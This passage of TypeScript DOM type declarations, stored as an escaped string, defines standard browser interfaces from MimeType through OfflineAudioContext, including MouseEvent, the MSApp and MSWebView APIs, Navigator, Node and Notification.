readonly suffixes: string;\\n    readonly type: string;\\n}\\n\\ndeclare var MimeType: {\\n    prototype: MimeType;\\n    new(): MimeType;\\n};\\n\\ninterface MimeTypeArray {\\n    readonly length: number;\\n    item(index: number): Plugin;\\n    namedItem(type: string): Plugin;\\n    [index: number]: Plugin;\\n}\\n\\ndeclare var MimeTypeArray: {\\n    prototype: MimeTypeArray;\\n    new(): MimeTypeArray;\\n};\\n\\ninterface MouseEvent extends UIEvent {\\n    readonly altKey: boolean;\\n    readonly button: number;\\n    readonly buttons: number;\\n    readonly clientX: number;\\n    readonly clientY: number;\\n    readonly ctrlKey: boolean;\\n    readonly fromElement: Element;\\n    readonly layerX: number;\\n    readonly layerY: number;\\n    readonly metaKey: boolean;\\n    readonly movementX: number;\\n    readonly movementY: number;\\n    readonly offsetX: number;\\n    readonly offsetY: number;\\n    readonly pageX: number;\\n    readonly pageY: number;\\n    readonly relatedTarget: EventTarget;\\n    readonly screenX: number;\\n    readonly screenY: number;\\n    readonly shiftKey: boolean;\\n    readonly toElement: Element;\\n    readonly which: number;\\n    readonly x: number;\\n    readonly y: number;\\n    getModifierState(keyArg: string): boolean;\\n    initMouseEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, ctrlKeyArg: boolean, altKeyArg: boolean, shiftKeyArg: boolean, metaKeyArg: boolean, buttonArg: number, relatedTargetArg: EventTarget | null): void;\\n}\\n\\ndeclare var MouseEvent: {\\n    prototype: MouseEvent;\\n    new(typeArg: string, eventInitDict?: MouseEventInit): MouseEvent;\\n};\\n\\ninterface MSApp {\\n    clearTemporaryWebDataAsync(): MSAppAsyncOperation;\\n    createBlobFromRandomAccessStream(type: string, seeker: any): Blob;\\n    createDataPackage(object: any): any;\\n    createDataPackageFromSelection(): any;\\n    createFileFromStorageFile(storageFile: any): File;\\n    createStreamFromInputStream(type: string, inputStream: any): MSStream;\\n    execAsyncAtPriority(asynchronousCallback: MSExecAtPriorityFunctionCallback, priority: string, ...args: any[]): void;\\n    execAtPriority(synchronousCallback: MSExecAtPriorityFunctionCallback, priority: string, ...args: any[]): any;\\n    getCurrentPriority(): string;\\n    getHtmlPrintDocumentSourceAsync(htmlDoc: any): Promise<any>;\\n    getViewId(view: any): any;\\n    isTaskScheduledAtPriorityOrHigher(priority: string): boolean;\\n    pageHandlesAllApplicationActivations(enabled: boolean): void;\\n    suppressSubdownloadCredentialPrompts(suppress: boolean): void;\\n    terminateApp(exceptionObject: any): void;\\n    readonly CURRENT: string;\\n    readonly HIGH: string;\\n    readonly IDLE: string;\\n    readonly NORMAL: string;\\n}\\ndeclare var MSApp: MSApp;\\n\\ninterface MSAppAsyncOperationEventMap {\\n    \"complete\": Event;\\n    \"error\": Event;\\n}\\n\\ninterface MSAppAsyncOperation extends EventTarget {\\n    readonly error: DOMError;\\n    oncomplete: (this: MSAppAsyncOperation, ev: Event) => any;\\n    onerror: (this: MSAppAsyncOperation, ev: Event) => any;\\n    readonly readyState: number;\\n    readonly result: any;\\n    start(): void;\\n    readonly COMPLETED: number;\\n    readonly ERROR: number;\\n    readonly STARTED: number;\\n    addEventListener<K extends keyof MSAppAsyncOperationEventMap>(type: K, listener: (this: MSAppAsyncOperation, ev: MSAppAsyncOperationEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSAppAsyncOperation: {\\n    prototype: MSAppAsyncOperation;\\n    new(): MSAppAsyncOperation;\\n    readonly COMPLETED: number;\\n    readonly ERROR: number;\\n    readonly STARTED: number;\\n};\\n\\ninterface MSAssertion {\\n    readonly id: string;\\n    readonly type: MSCredentialType;\\n}\\n\\ndeclare var MSAssertion: {\\n    prototype: MSAssertion;\\n    new(): MSAssertion;\\n};\\n\\ninterface MSBlobBuilder {\\n    append(data: any, endings?: string): void;\\n    getBlob(contentType?: string): Blob;\\n}\\n\\ndeclare var MSBlobBuilder: {\\n    prototype: MSBlobBuilder;\\n    new(): MSBlobBuilder;\\n};\\n\\ninterface MSCredentials {\\n    getAssertion(challenge: string, filter?: MSCredentialFilter, params?: MSSignatureParameters): Promise<MSAssertion>;\\n    makeCredential(accountInfo: MSAccountInfo, params: MSCredentialParameters[], challenge?: string): Promise<MSAssertion>;\\n}\\n\\ndeclare var MSCredentials: {\\n    prototype: MSCredentials;\\n    new(): MSCredentials;\\n};\\n\\ninterface MSFIDOCredentialAssertion extends MSAssertion {\\n    readonly algorithm: string | Algorithm;\\n    readonly attestation: any;\\n    readonly publicKey: string;\\n    readonly transportHints: MSTransportType[];\\n}\\n\\ndeclare var MSFIDOCredentialAssertion: {\\n    prototype: MSFIDOCredentialAssertion;\\n    new(): MSFIDOCredentialAssertion;\\n};\\n\\ninterface MSFIDOSignature {\\n    readonly authnrData: string;\\n    readonly clientData: string;\\n    readonly signature: string;\\n}\\n\\ndeclare var MSFIDOSignature: {\\n    prototype: MSFIDOSignature;\\n    new(): MSFIDOSignature;\\n};\\n\\ninterface MSFIDOSignatureAssertion extends MSAssertion {\\n    readonly signature: MSFIDOSignature;\\n}\\n\\ndeclare var MSFIDOSignatureAssertion: {\\n    prototype: MSFIDOSignatureAssertion;\\n    new(): MSFIDOSignatureAssertion;\\n};\\n\\ninterface MSGesture {\\n    target: Element;\\n    addPointer(pointerId: number): void;\\n    stop(): void;\\n}\\n\\ndeclare var MSGesture: {\\n    prototype: MSGesture;\\n    new(): MSGesture;\\n};\\n\\ninterface MSGestureEvent extends UIEvent {\\n    readonly clientX: number;\\n    readonly clientY: number;\\n    readonly expansion: number;\\n    readonly gestureObject: any;\\n    readonly hwTimestamp: number;\\n    readonly offsetX: number;\\n    readonly offsetY: number;\\n    readonly rotation: number;\\n    readonly scale: number;\\n    readonly screenX: number;\\n    readonly screenY: number;\\n    readonly translationX: number;\\n    readonly translationY: number;\\n    readonly velocityAngular: number;\\n    readonly velocityExpansion: number;\\n    readonly velocityX: number;\\n    readonly velocityY: number;\\n    initGestureEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, offsetXArg: number, offsetYArg: number, translationXArg: number, translationYArg: number, scaleArg: number, expansionArg: number, rotationArg: number, velocityXArg: number, velocityYArg: number, velocityExpansionArg: number, velocityAngularArg: number, hwTimestampArg: number): void;\\n    readonly MSGESTURE_FLAG_BEGIN: number;\\n    readonly MSGESTURE_FLAG_CANCEL: number;\\n    readonly MSGESTURE_FLAG_END: number;\\n    readonly MSGESTURE_FLAG_INERTIA: number;\\n    readonly MSGESTURE_FLAG_NONE: number;\\n}\\n\\ndeclare var MSGestureEvent: {\\n    prototype: MSGestureEvent;\\n    new(): MSGestureEvent;\\n    readonly MSGESTURE_FLAG_BEGIN: number;\\n    readonly MSGESTURE_FLAG_CANCEL: number;\\n    readonly MSGESTURE_FLAG_END: number;\\n    readonly MSGESTURE_FLAG_INERTIA: number;\\n    readonly MSGESTURE_FLAG_NONE: number;\\n};\\n\\ninterface MSGraphicsTrust {\\n    readonly constrictionActive: boolean;\\n    readonly status: string;\\n}\\n\\ndeclare var MSGraphicsTrust: {\\n    prototype: MSGraphicsTrust;\\n    new(): MSGraphicsTrust;\\n};\\n\\ninterface MSHTMLWebViewElement extends HTMLElement {\\n    readonly canGoBack: boolean;\\n    readonly canGoForward: boolean;\\n    readonly containsFullScreenElement: boolean;\\n    readonly documentTitle: string;\\n    height: number;\\n    readonly settings: MSWebViewSettings;\\n    src: string;\\n    width: number;\\n    addWebAllowedObject(name: string, applicationObject: any): void;\\n    buildLocalStreamUri(contentIdentifier: string, relativePath: string): string;\\n    capturePreviewToBlobAsync(): MSWebViewAsyncOperation;\\n    captureSelectedContentToDataPackageAsync(): MSWebViewAsyncOperation;\\n    getDeferredPermissionRequestById(id: number): DeferredPermissionRequest;\\n    getDeferredPermissionRequests(): DeferredPermissionRequest[];\\n    goBack(): void;\\n    goForward(): void;\\n    invokeScriptAsync(scriptName: string, ...args: any[]): MSWebViewAsyncOperation;\\n    navigate(uri: string): void;\\n    navigateFocus(navigationReason: NavigationReason, origin: FocusNavigationOrigin): void;\\n    navigateToLocalStreamUri(source: string, streamResolver: any): void;\\n    navigateToString(contents: string): void;\\n    navigateWithHttpRequestMessage(requestMessage: any): void;\\n    refresh(): void;\\n    stop(): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: MSHTMLWebViewElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSHTMLWebViewElement: {\\n    prototype: MSHTMLWebViewElement;\\n    new(): MSHTMLWebViewElement;\\n};\\n\\ninterface MSInputMethodContextEventMap {\\n    \"MSCandidateWindowHide\": Event;\\n    \"MSCandidateWindowShow\": Event;\\n    \"MSCandidateWindowUpdate\": Event;\\n}\\n\\ninterface MSInputMethodContext extends EventTarget {\\n    readonly compositionEndOffset: number;\\n    readonly compositionStartOffset: number;\\n    oncandidatewindowhide: (this: MSInputMethodContext, ev: Event) => any;\\n    oncandidatewindowshow: (this: MSInputMethodContext, ev: Event) => any;\\n    oncandidatewindowupdate: (this: MSInputMethodContext, ev: Event) => any;\\n    readonly target: HTMLElement;\\n    getCandidateWindowClientRect(): ClientRect;\\n    getCompositionAlternatives(): string[];\\n    hasComposition(): boolean;\\n    isCandidateWindowVisible(): boolean;\\n    addEventListener<K extends keyof MSInputMethodContextEventMap>(type: K, listener: (this: MSInputMethodContext, ev: MSInputMethodContextEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSInputMethodContext: {\\n    prototype: MSInputMethodContext;\\n    new(): MSInputMethodContext;\\n};\\n\\ninterface MSManipulationEvent extends UIEvent {\\n    readonly currentState: number;\\n    readonly inertiaDestinationX: number;\\n    readonly inertiaDestinationY: number;\\n    readonly lastState: number;\\n    initMSManipulationEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, lastState: number, currentState: number): void;\\n    readonly MS_MANIPULATION_STATE_ACTIVE: number;\\n    readonly MS_MANIPULATION_STATE_CANCELLED: number;\\n    readonly MS_MANIPULATION_STATE_COMMITTED: number;\\n    readonly MS_MANIPULATION_STATE_DRAGGING: number;\\n    readonly MS_MANIPULATION_STATE_INERTIA: number;\\n    readonly MS_MANIPULATION_STATE_PRESELECT: number;\\n    readonly MS_MANIPULATION_STATE_SELECTING: number;\\n    readonly MS_MANIPULATION_STATE_STOPPED: number;\\n}\\n\\ndeclare var MSManipulationEvent: {\\n    prototype: MSManipulationEvent;\\n    new(): MSManipulationEvent;\\n    readonly MS_MANIPULATION_STATE_ACTIVE: number;\\n    readonly MS_MANIPULATION_STATE_CANCELLED: number;\\n    readonly MS_MANIPULATION_STATE_COMMITTED: number;\\n    readonly MS_MANIPULATION_STATE_DRAGGING: number;\\n    readonly MS_MANIPULATION_STATE_INERTIA: number;\\n    readonly MS_MANIPULATION_STATE_PRESELECT: number;\\n    readonly MS_MANIPULATION_STATE_SELECTING: number;\\n    readonly MS_MANIPULATION_STATE_STOPPED: number;\\n};\\n\\ninterface MSMediaKeyError {\\n    readonly code: number;\\n    readonly systemCode: number;\\n    readonly MS_MEDIA_KEYERR_CLIENT: number;\\n    readonly MS_MEDIA_KEYERR_DOMAIN: number;\\n    readonly MS_MEDIA_KEYERR_HARDWARECHANGE: number;\\n    readonly MS_MEDIA_KEYERR_OUTPUT: number;\\n    readonly MS_MEDIA_KEYERR_SERVICE: number;\\n    readonly MS_MEDIA_KEYERR_UNKNOWN: number;\\n}\\n\\ndeclare var MSMediaKeyError: {\\n    prototype: MSMediaKeyError;\\n    new(): MSMediaKeyError;\\n    readonly MS_MEDIA_KEYERR_CLIENT: number;\\n    readonly MS_MEDIA_KEYERR_DOMAIN: number;\\n    readonly MS_MEDIA_KEYERR_HARDWARECHANGE: number;\\n    readonly MS_MEDIA_KEYERR_OUTPUT: number;\\n    readonly MS_MEDIA_KEYERR_SERVICE: number;\\n    readonly MS_MEDIA_KEYERR_UNKNOWN: number;\\n};\\n\\ninterface MSMediaKeyMessageEvent extends Event {\\n    readonly destinationURL: string | null;\\n    readonly message: Uint8Array;\\n}\\n\\ndeclare var MSMediaKeyMessageEvent: {\\n    prototype: MSMediaKeyMessageEvent;\\n    new(): MSMediaKeyMessageEvent;\\n};\\n\\ninterface MSMediaKeyNeededEvent extends Event {\\n    readonly initData: Uint8Array | null;\\n}\\n\\ndeclare var MSMediaKeyNeededEvent: {\\n    prototype: MSMediaKeyNeededEvent;\\n    new(): MSMediaKeyNeededEvent;\\n};\\n\\ninterface MSMediaKeys {\\n    readonly keySystem: string;\\n    createSession(type: string, initData: Uint8Array, cdmData?: Uint8Array): MSMediaKeySession;\\n}\\n\\ndeclare var MSMediaKeys: {\\n    prototype: MSMediaKeys;\\n    new(keySystem: string): MSMediaKeys;\\n    isTypeSupported(keySystem: string, type?: string): boolean;\\n    isTypeSupportedWithFeatures(keySystem: string, type?: string): string;\\n};\\n\\ninterface MSMediaKeySession extends EventTarget {\\n    readonly error: MSMediaKeyError | null;\\n    readonly keySystem: string;\\n    readonly sessionId: string;\\n    close(): void;\\n    update(key: Uint8Array): void;\\n}\\n\\ndeclare var MSMediaKeySession: {\\n    prototype: MSMediaKeySession;\\n    new(): MSMediaKeySession;\\n};\\n\\ninterface MSPointerEvent extends MouseEvent {\\n    readonly currentPoint: any;\\n    readonly height: number;\\n    readonly hwTimestamp: number;\\n    readonly intermediatePoints: any;\\n    readonly isPrimary: boolean;\\n    readonly pointerId: number;\\n    readonly pointerType: any;\\n    readonly pressure: number;\\n    readonly rotation: number;\\n    readonly tiltX: number;\\n    readonly tiltY: number;\\n    readonly width: number;\\n    getCurrentPoint(element: Element): void;\\n    getIntermediatePoints(element: Element): void;\\n    initPointerEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, ctrlKeyArg: boolean, altKeyArg: boolean, shiftKeyArg: boolean, metaKeyArg: boolean, buttonArg: number, relatedTargetArg: EventTarget, offsetXArg: number, offsetYArg: number, widthArg: number, heightArg: number, pressure: number, rotation: number, tiltX: number, tiltY: number, pointerIdArg: number, pointerType: any, hwTimestampArg: number, isPrimary: boolean): void;\\n}\\n\\ndeclare var MSPointerEvent: {\\n    prototype: MSPointerEvent;\\n    new(typeArg: string, eventInitDict?: PointerEventInit): MSPointerEvent;\\n};\\n\\ninterface MSRangeCollection {\\n    readonly length: number;\\n    item(index: number): Range;\\n    [index: number]: Range;\\n}\\n\\ndeclare var MSRangeCollection: {\\n    prototype: MSRangeCollection;\\n    new(): MSRangeCollection;\\n};\\n\\ninterface MSSiteModeEvent extends Event {\\n    readonly actionURL: string;\\n    readonly buttonID: number;\\n}\\n\\ndeclare var MSSiteModeEvent: {\\n    prototype: MSSiteModeEvent;\\n    new(): MSSiteModeEvent;\\n};\\n\\ninterface MSStream {\\n    readonly type: string;\\n    msClose(): void;\\n    msDetachStream(): any;\\n}\\n\\ndeclare var MSStream: {\\n    prototype: MSStream;\\n    new(): MSStream;\\n};\\n\\ninterface MSStreamReader extends EventTarget, MSBaseReader {\\n    readonly error: DOMError;\\n    readAsArrayBuffer(stream: MSStream, size?: number): void;\\n    readAsBinaryString(stream: MSStream, size?: number): void;\\n    readAsBlob(stream: MSStream, size?: number): void;\\n    readAsDataURL(stream: MSStream, size?: number): void;\\n    readAsText(stream: MSStream, encoding?: string, size?: number): void;\\n    addEventListener<K extends keyof MSBaseReaderEventMap>(type: K, listener: (this: MSStreamReader, ev: MSBaseReaderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSStreamReader: {\\n    prototype: MSStreamReader;\\n    new(): MSStreamReader;\\n};\\n\\ninterface MSWebViewAsyncOperationEventMap {\\n    \"complete\": Event;\\n    \"error\": Event;\\n}\\n\\ninterface MSWebViewAsyncOperation extends EventTarget {\\n    readonly error: DOMError;\\n    oncomplete: (this: MSWebViewAsyncOperation, ev: Event) => any;\\n    onerror: (this: MSWebViewAsyncOperation, ev: Event) => any;\\n    readonly readyState: number;\\n    readonly result: any;\\n    readonly target: MSHTMLWebViewElement;\\n    readonly type: number;\\n    start(): void;\\n    readonly COMPLETED: number;\\n    readonly ERROR: number;\\n    readonly STARTED: number;\\n    readonly TYPE_CAPTURE_PREVIEW_TO_RANDOM_ACCESS_STREAM: number;\\n    readonly TYPE_CREATE_DATA_PACKAGE_FROM_SELECTION: number;\\n    readonly TYPE_INVOKE_SCRIPT: number;\\n    addEventListener<K extends keyof MSWebViewAsyncOperationEventMap>(type: K, listener: (this: MSWebViewAsyncOperation, ev: MSWebViewAsyncOperationEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSWebViewAsyncOperation: {\\n    prototype: MSWebViewAsyncOperation;\\n    new(): MSWebViewAsyncOperation;\\n    readonly COMPLETED: number;\\n    readonly ERROR: number;\\n    readonly STARTED: number;\\n    readonly TYPE_CAPTURE_PREVIEW_TO_RANDOM_ACCESS_STREAM: number;\\n    readonly TYPE_CREATE_DATA_PACKAGE_FROM_SELECTION: number;\\n    readonly TYPE_INVOKE_SCRIPT: number;\\n};\\n\\ninterface MSWebViewSettings {\\n    isIndexedDBEnabled: boolean;\\n    isJavaScriptEnabled: boolean;\\n}\\n\\ndeclare var MSWebViewSettings: {\\n    prototype: MSWebViewSettings;\\n    new(): MSWebViewSettings;\\n};\\n\\ninterface MutationEvent extends Event {\\n    readonly attrChange: number;\\n    readonly attrName: string;\\n    readonly newValue: string;\\n    readonly prevValue: string;\\n    readonly relatedNode: Node;\\n    initMutationEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, relatedNodeArg: Node, prevValueArg: string, newValueArg: string, attrNameArg: string, attrChangeArg: number): void;\\n    readonly ADDITION: number;\\n    readonly MODIFICATION: number;\\n    readonly REMOVAL: number;\\n}\\n\\ndeclare var MutationEvent: {\\n    prototype: MutationEvent;\\n    new(): MutationEvent;\\n    readonly ADDITION: number;\\n    readonly MODIFICATION: number;\\n    readonly REMOVAL: number;\\n};\\n\\ninterface MutationObserver {\\n    disconnect(): void;\\n    observe(target: Node, options: MutationObserverInit): void;\\n    takeRecords(): MutationRecord[];\\n}\\n\\ndeclare var MutationObserver: {\\n    prototype: MutationObserver;\\n    new(callback: MutationCallback): MutationObserver;\\n};\\n\\ninterface MutationRecord {\\n    readonly addedNodes: NodeList;\\n    readonly attributeName: string | null;\\n    readonly attributeNamespace: string | null;\\n    readonly nextSibling: Node | null;\\n    readonly oldValue: string | null;\\n    readonly previousSibling: Node | null;\\n    readonly removedNodes: NodeList;\\n    readonly target: Node;\\n    readonly type: string;\\n}\\n\\ndeclare var MutationRecord: {\\n    prototype: MutationRecord;\\n    new(): MutationRecord;\\n};\\n\\ninterface NamedNodeMap {\\n    readonly length: number;\\n    getNamedItem(name: string): Attr;\\n    getNamedItemNS(namespaceURI: string | null, localName: string | null): Attr;\\n    item(index: number): Attr;\\n    removeNamedItem(name: string): Attr;\\n    removeNamedItemNS(namespaceURI: string | null, localName: string | null): Attr;\\n    setNamedItem(arg: Attr): Attr;\\n    setNamedItemNS(arg: Attr): Attr;\\n    [index: number]: Attr;\\n}\\n\\ndeclare var NamedNodeMap: {\\n    prototype: NamedNodeMap;\\n    new(): NamedNodeMap;\\n};\\n\\ninterface NavigationCompletedEvent extends NavigationEvent {\\n    readonly isSuccess: boolean;\\n    readonly webErrorStatus: number;\\n}\\n\\ndeclare var NavigationCompletedEvent: {\\n    prototype: NavigationCompletedEvent;\\n    new(): NavigationCompletedEvent;\\n};\\n\\ninterface NavigationEvent extends Event {\\n    readonly uri: string;\\n}\\n\\ndeclare var NavigationEvent: {\\n    prototype: NavigationEvent;\\n    new(): NavigationEvent;\\n};\\n\\ninterface NavigationEventWithReferrer extends NavigationEvent {\\n    readonly referer: string;\\n}\\n\\ndeclare var NavigationEventWithReferrer: {\\n    prototype: NavigationEventWithReferrer;\\n    new(): NavigationEventWithReferrer;\\n};\\n\\ninterface Navigator extends Object, NavigatorID, NavigatorOnLine, NavigatorContentUtils, NavigatorStorageUtils, NavigatorGeolocation, MSNavigatorDoNotTrack, MSFileSaver, NavigatorBeacon, NavigatorConcurrentHardware, NavigatorUserMedia {\\n    readonly authentication: WebAuthentication;\\n    readonly cookieEnabled: boolean;\\n    gamepadInputEmulation: GamepadInputEmulationType;\\n    readonly language: string;\\n    readonly maxTouchPoints: number;\\n    readonly mimeTypes: MimeTypeArray;\\n    readonly msManipulationViewsEnabled: boolean;\\n    readonly msMaxTouchPoints: number;\\n    readonly msPointerEnabled: boolean;\\n    readonly plugins: PluginArray;\\n    readonly pointerEnabled: boolean;\\n    readonly serviceWorker: ServiceWorkerContainer;\\n    readonly webdriver: boolean;\\n    readonly hardwareConcurrency: number;\\n    readonly languages: string[];\\n    getGamepads(): Gamepad[];\\n    javaEnabled(): boolean;\\n    msLaunchUri(uri: string, successCallback?: MSLaunchUriCallback, noHandlerCallback?: MSLaunchUriCallback): void;\\n    requestMediaKeySystemAccess(keySystem: string, supportedConfigurations: MediaKeySystemConfiguration[]): Promise<MediaKeySystemAccess>;\\n    vibrate(pattern: number | number[]): boolean;\\n}\\n\\ndeclare var Navigator: {\\n    prototype: Navigator;\\n    new(): Navigator;\\n};\\n\\ninterface Node extends EventTarget {\\n    readonly attributes: NamedNodeMap;\\n    readonly baseURI: string | null;\\n    readonly childNodes: NodeList;\\n    readonly firstChild: Node | null;\\n    readonly lastChild: Node | null;\\n    readonly localName: string | null;\\n    readonly namespaceURI: string | null;\\n    readonly nextSibling: Node | null;\\n    readonly nodeName: string;\\n    readonly nodeType: number;\\n    nodeValue: string | null;\\n    readonly ownerDocument: Document;\\n    readonly parentElement: HTMLElement | null;\\n    readonly parentNode: Node | null;\\n    readonly previousSibling: Node | null;\\n    textContent: string | null;\\n    appendChild<T extends Node>(newChild: T): T;\\n    cloneNode(deep?: boolean): Node;\\n    compareDocumentPosition(other: Node): number;\\n    contains(child: Node): boolean;\\n    hasAttributes(): boolean;\\n    hasChildNodes(): boolean;\\n    insertBefore<T extends Node>(newChild: T, refChild: Node | null): T;\\n    isDefaultNamespace(namespaceURI: string | null): boolean;\\n    isEqualNode(arg: Node): boolean;\\n    isSameNode(other: Node): boolean;\\n    lookupNamespaceURI(prefix: string | null): string | null;\\n    lookupPrefix(namespaceURI: string | null): string | null;\\n    normalize(): void;\\n    removeChild<T extends Node>(oldChild: T): T;\\n    replaceChild<T extends Node>(newChild: Node, oldChild: T): T;\\n    readonly ATTRIBUTE_NODE: number;\\n    readonly CDATA_SECTION_NODE: number;\\n    readonly COMMENT_NODE: number;\\n    readonly DOCUMENT_FRAGMENT_NODE: number;\\n    readonly DOCUMENT_NODE: number;\\n    readonly DOCUMENT_POSITION_CONTAINED_BY: number;\\n    readonly DOCUMENT_POSITION_CONTAINS: number;\\n    readonly DOCUMENT_POSITION_DISCONNECTED: number;\\n    readonly DOCUMENT_POSITION_FOLLOWING: number;\\n    readonly DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC: number;\\n    readonly DOCUMENT_POSITION_PRECEDING: number;\\n    readonly DOCUMENT_TYPE_NODE: number;\\n    readonly ELEMENT_NODE: number;\\n    readonly ENTITY_NODE: number;\\n    readonly ENTITY_REFERENCE_NODE: number;\\n    readonly NOTATION_NODE: number;\\n    readonly PROCESSING_INSTRUCTION_NODE: number;\\n    readonly TEXT_NODE: number;\\n}\\n\\ndeclare var Node: {\\n    prototype: Node;\\n    new(): Node;\\n    readonly ATTRIBUTE_NODE: number;\\n    readonly CDATA_SECTION_NODE: number;\\n    readonly COMMENT_NODE: number;\\n    readonly DOCUMENT_FRAGMENT_NODE: number;\\n    readonly DOCUMENT_NODE: number;\\n    readonly DOCUMENT_POSITION_CONTAINED_BY: number;\\n    readonly DOCUMENT_POSITION_CONTAINS: number;\\n    readonly DOCUMENT_POSITION_DISCONNECTED: number;\\n    readonly DOCUMENT_POSITION_FOLLOWING: number;\\n    readonly DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC: number;\\n    readonly DOCUMENT_POSITION_PRECEDING: number;\\n    readonly DOCUMENT_TYPE_NODE: number;\\n    readonly ELEMENT_NODE: number;\\n    readonly ENTITY_NODE: number;\\n    readonly ENTITY_REFERENCE_NODE: number;\\n    readonly NOTATION_NODE: number;\\n    readonly PROCESSING_INSTRUCTION_NODE: number;\\n    readonly TEXT_NODE: number;\\n};\\n\\ninterface NodeFilter {\\n    acceptNode(n: Node): number;\\n}\\n\\ndeclare var NodeFilter: {\\n    readonly FILTER_ACCEPT: number;\\n    readonly FILTER_REJECT: number;\\n    readonly FILTER_SKIP: number;\\n    readonly SHOW_ALL: number;\\n    readonly SHOW_ATTRIBUTE: number;\\n    readonly SHOW_CDATA_SECTION: number;\\n    readonly SHOW_COMMENT: number;\\n    readonly SHOW_DOCUMENT: number;\\n    readonly SHOW_DOCUMENT_FRAGMENT: number;\\n    readonly SHOW_DOCUMENT_TYPE: number;\\n    readonly SHOW_ELEMENT: number;\\n    readonly SHOW_ENTITY: number;\\n    readonly SHOW_ENTITY_REFERENCE: number;\\n    readonly SHOW_NOTATION: number;\\n    readonly SHOW_PROCESSING_INSTRUCTION: number;\\n    readonly SHOW_TEXT: number;\\n};\\n\\ninterface NodeIterator {\\n    readonly expandEntityReferences: boolean;\\n    readonly filter: NodeFilter;\\n    readonly root: Node;\\n    readonly whatToShow: number;\\n    detach(): void;\\n    nextNode(): Node;\\n    previousNode(): Node;\\n}\\n\\ndeclare var NodeIterator: {\\n    prototype: NodeIterator;\\n    new(): NodeIterator;\\n};\\n\\ninterface NodeList {\\n    readonly length: number;\\n    item(index: number): Node;\\n    [index: number]: Node;\\n}\\n\\ndeclare var NodeList: {\\n    prototype: NodeList;\\n    new(): NodeList;\\n};\\n\\ninterface NotificationEventMap {\\n    \"click\": Event;\\n    \"close\": Event;\\n    \"error\": Event;\\n    \"show\": Event;\\n}\\n\\ninterface Notification extends EventTarget {\\n    readonly body: string;\\n    readonly dir: NotificationDirection;\\n    readonly icon: string;\\n    readonly lang: string;\\n    onclick: (this: Notification, ev: Event) => any;\\n    onclose: (this: Notification, ev: Event) => any;\\n    onerror: (this: Notification, ev: Event) => any;\\n    onshow: (this: Notification, ev: Event) => any;\\n    readonly permission: NotificationPermission;\\n    readonly tag: string;\\n    readonly title: string;\\n    close(): void;\\n    addEventListener<K extends keyof NotificationEventMap>(type: K, listener: (this: Notification, ev: NotificationEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Notification: {\\n    prototype: Notification;\\n    new(title: string, options?: NotificationOptions): Notification;\\n    requestPermission(callback?: NotificationPermissionCallback): Promise<NotificationPermission>;\\n};\\n\\ninterface OES_element_index_uint {\\n}\\n\\ndeclare var OES_element_index_uint: {\\n    prototype: OES_element_index_uint;\\n    new(): OES_element_index_uint;\\n};\\n\\ninterface OES_standard_derivatives {\\n    readonly FRAGMENT_SHADER_DERIVATIVE_HINT_OES: number;\\n}\\n\\ndeclare var OES_standard_derivatives: {\\n    prototype: OES_standard_derivatives;\\n    new(): OES_standard_derivatives;\\n    readonly FRAGMENT_SHADER_DERIVATIVE_HINT_OES: number;\\n};\\n\\ninterface OES_texture_float {\\n}\\n\\ndeclare var OES_texture_float: {\\n    prototype: OES_texture_float;\\n    new(): OES_texture_float;\\n};\\n\\ninterface OES_texture_float_linear {\\n}\\n\\ndeclare var OES_texture_float_linear: {\\n    prototype: OES_texture_float_linear;\\n    new(): OES_texture_float_linear;\\n};\\n\\ninterface OES_texture_half_float {\\n    readonly HALF_FLOAT_OES: number;\\n}\\n\\ndeclare var OES_texture_half_float: {\\n    prototype: OES_texture_half_float;\\n    new(): OES_texture_half_float;\\n    readonly HALF_FLOAT_OES: number;\\n};\\n\\ninterface OES_texture_half_float_linear {\\n}\\n\\ndeclare var OES_texture_half_float_linear: {\\n    prototype: OES_texture_half_float_linear;\\n    new(): OES_texture_half_float_linear;\\n};\\n\\ninterface OfflineAudioCompletionEvent extends Event {\\n    readonly renderedBuffer: AudioBuffer;\\n}\\n\\ndeclare var OfflineAudioCompletionEvent: {\\n    prototype: OfflineAudioCompletionEvent;\\n    new(): OfflineAudioCompletionEvent;\\n};\\n\\ninterface OfflineAudioContextEventMap extends AudioContextEventMap {\\n    \"complete\": OfflineAudioCompletionEvent;\\n}\\n\\ninterface OfflineAudioContext extends AudioContextBase {\\n    readonly length: number;\\n    oncomplete: (this: OfflineAudioContext, ev: OfflineAudioCompletionEvent) => any;\\n    startRendering(): Promise<AudioBuffer>;\\n    suspend(suspendTime: number): Promise<void>;\\n    addEventListener<K extends keyof OfflineAudioContextEventMap>(type: K, listener: (this: OfflineAudioContext, ev: OfflineAudioContextEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var OfflineAudioContext: {\\n    prototype: OfflineAudioContext;\\n    new(numberOfChannels: number, length: number, sampleRate: number): 